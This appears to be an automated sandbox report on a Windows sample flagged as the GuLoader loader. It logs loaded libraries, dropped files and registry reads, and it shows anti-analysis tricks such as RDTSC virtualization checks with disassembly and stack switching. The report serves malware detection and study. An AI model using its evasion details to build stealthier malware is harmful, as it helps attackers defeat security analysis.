      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: Anfrage_244384.exeReversingLabs: Detection: 15%
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile read: C:\Users\user\Desktop\Anfrage_244384.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: riched20.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: usp10.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: msls31.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wkscli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: Anfrage_244384.exeStatic file information: File size 1240824 > 1048576
      Source: Anfrage_244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage_244384.exe, 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961169455.00000000342E9000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2963309994.0000000034498000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage_244384.exe, Anfrage_244384.exe, 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961169455.00000000342E9000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2963309994.0000000034498000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage_244384.exe, 00000004.00000001.2548718587.0000000000649000.00000020.00000001.01000000.00000007.sdmp

      Data Obfuscation

      barindex
      Yara detected GuLoader
      Source: Yara matchFile source: 00000000.00000002.2549842058.00000000048C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10002D20 push eax; ret 0_2_10002D4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346709AD push ecx; mov dword ptr [esp], ecx4_2_346709B6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Switches to a custom stack to bypass stack traces
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI/Special instruction interceptor: Address: 4BD02F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI/Special instruction interceptor: Address: 38D02F6
      Tries to detect virtualization through RDTSC time measurements
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRDTSC instruction interceptor: First address: 4B93731 second address: 4B93731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4574D5983Bh 0x00000004 test bh, ah 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F4574D59815h 0x0000000a test dl, bl 0x0000000c inc ebp 0x0000000d test edx, 1E38E0C7h 0x00000013 inc ebx 0x00000014 rdtsc
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRDTSC instruction interceptor: First address: 3893731 second address: 3893731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F457451466Bh 0x00000004 test bh, ah 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F4574514645h 0x0000000a test dl, bl 0x0000000c inc ebp 0x0000000d test edx, 1E38E0C7h 0x00000013 inc ebx 0x00000014 rdtsc
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347416A6 rdtsc 4_2_347416A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI coverage: 0.1 %
      Source: C:\Users\user\Desktop\Anfrage_244384.exe TID: 1848Thread sleep time: -30000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Anfrage_244384.exe, 00000004.00000003.2961658972.00000000044D8000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000002.3005496229.00000000044D9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0JQ
      Source: Anfrage_244384.exe, 00000004.00000002.3005496229.000000000450D000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000004.00000003.2961478804.000000000450D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3753
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3939
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347416A6 rdtsc 4_2_347416A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B35C0 NtCreateMutant,LdrInitializeThunk,4_2_346B35C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671460 mov eax, dword ptr fs:[00000030h]4_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671460 mov eax, dword ptr fs:[00000030h]4_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671460 mov eax, dword ptr fs:[00000030h]4_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671460 mov eax, dword ptr fs:[00000030h]4_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671460 mov eax, dword ptr fs:[00000030h]4_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F460 mov eax, dword ptr fs:[00000030h]4_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474547F mov eax, dword ptr fs:[00000030h]4_2_3474547F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F453 mov eax, dword ptr fs:[00000030h]4_2_3472F453
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B450 mov eax, dword ptr fs:[00000030h]4_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B450 mov eax, dword ptr fs:[00000030h]4_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B450 mov eax, dword ptr fs:[00000030h]4_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B450 mov eax, dword ptr fs:[00000030h]4_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B440 mov eax, dword ptr fs:[00000030h]4_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469340D mov eax, dword ptr fs:[00000030h]4_2_3469340D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F7410 mov eax, dword ptr fs:[00000030h]4_2_346F7410
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347414F6 mov eax, dword ptr fs:[00000030h]4_2_347414F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347414F6 mov eax, dword ptr fs:[00000030h]4_2_347414F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347194E0 mov eax, dword ptr fs:[00000030h]4_2_347194E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347454DB mov eax, dword ptr fs:[00000030h]4_2_347454DB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347174B0 mov eax, dword ptr fs:[00000030h]4_2_347174B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346674B0 mov eax, dword ptr fs:[00000030h]4_2_346674B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346674B0 mov eax, dword ptr fs:[00000030h]4_2_346674B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A34B0 mov eax, dword ptr fs:[00000030h]4_2_346A34B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34679486 mov eax, dword ptr fs:[00000030h]4_2_34679486
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34679486 mov eax, dword ptr fs:[00000030h]4_2_34679486
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B480 mov eax, dword ptr fs:[00000030h]4_2_3466B480
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B562 mov eax, dword ptr fs:[00000030h]4_2_3466B562
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AB570 mov eax, dword ptr fs:[00000030h]4_2_346AB570
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AB570 mov eax, dword ptr fs:[00000030h]4_2_346AB570
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B550 mov eax, dword ptr fs:[00000030h]4_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B550 mov eax, dword ptr fs:[00000030h]4_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471B550 mov eax, dword ptr fs:[00000030h]4_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745537 mov eax, dword ptr fs:[00000030h]4_2_34745537
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D534 mov eax, dword ptr fs:[00000030h]4_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471F525 mov eax, dword ptr fs:[00000030h]4_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AD530 mov eax, dword ptr fs:[00000030h]4_2_346AD530
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AD530 mov eax, dword ptr fs:[00000030h]4_2_346AD530
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472B52F mov eax, dword ptr fs:[00000030h]4_2_3472B52F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A7505 mov eax, dword ptr fs:[00000030h]4_2_346A7505
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A7505 mov ecx, dword ptr fs:[00000030h]4_2_346A7505
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915F4 mov eax, dword ptr fs:[00000030h]4_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347435D7 mov eax, dword ptr fs:[00000030h]4_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347435D7 mov eax, dword ptr fs:[00000030h]4_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347435D7 mov eax, dword ptr fs:[00000030h]4_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A55C0 mov eax, dword ptr fs:[00000030h]4_2_346A55C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346995DA mov eax, dword ptr fs:[00000030h]4_2_346995DA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347455C9 mov eax, dword ptr fs:[00000030h]4_2_347455C9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED5D0 mov eax, dword ptr fs:[00000030h]4_2_346ED5D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED5D0 mov ecx, dword ptr fs:[00000030h]4_2_346ED5D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915A9 mov eax, dword ptr fs:[00000030h]4_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915A9 mov eax, dword ptr fs:[00000030h]4_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915A9 mov eax, dword ptr fs:[00000030h]4_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915A9 mov eax, dword ptr fs:[00000030h]4_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346915A9 mov eax, dword ptr fs:[00000030h]4_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3470D5B0 mov eax, dword ptr fs:[00000030h]4_2_3470D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3470D5B0 mov eax, dword ptr fs:[00000030h]4_2_3470D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347435B6 mov eax, dword ptr fs:[00000030h]4_2_347435B6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347035BA mov eax, dword ptr fs:[00000030h]4_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347035BA mov eax, dword ptr fs:[00000030h]4_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347035BA mov eax, dword ptr fs:[00000030h]4_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347035BA mov eax, dword ptr fs:[00000030h]4_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F5BE mov eax, dword ptr fs:[00000030h]4_2_3472F5BE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469F5B0 mov eax, dword ptr fs:[00000030h]4_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466758F mov eax, dword ptr fs:[00000030h]4_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466758F mov eax, dword ptr fs:[00000030h]4_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466758F mov eax, dword ptr fs:[00000030h]4_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FB594 mov eax, dword ptr fs:[00000030h]4_2_346FB594
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FB594 mov eax, dword ptr fs:[00000030h]4_2_346FB594
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A9660 mov eax, dword ptr fs:[00000030h]4_2_346A9660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A9660 mov eax, dword ptr fs:[00000030h]4_2_346A9660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3470D660 mov eax, dword ptr fs:[00000030h]4_2_3470D660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F626 mov eax, dword ptr fs:[00000030h]4_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745636 mov eax, dword ptr fs:[00000030h]4_2_34745636
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AF603 mov eax, dword ptr fs:[00000030h]4_2_346AF603
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A1607 mov eax, dword ptr fs:[00000030h]4_2_346A1607
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673616 mov eax, dword ptr fs:[00000030h]4_2_34673616
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673616 mov eax, dword ptr fs:[00000030h]4_2_34673616
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472D6F0 mov eax, dword ptr fs:[00000030h]4_2_3472D6F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A36EF mov eax, dword ptr fs:[00000030h]4_2_346A36EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469D6E0 mov eax, dword ptr fs:[00000030h]4_2_3469D6E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469D6E0 mov eax, dword ptr fs:[00000030h]4_2_3469D6E0
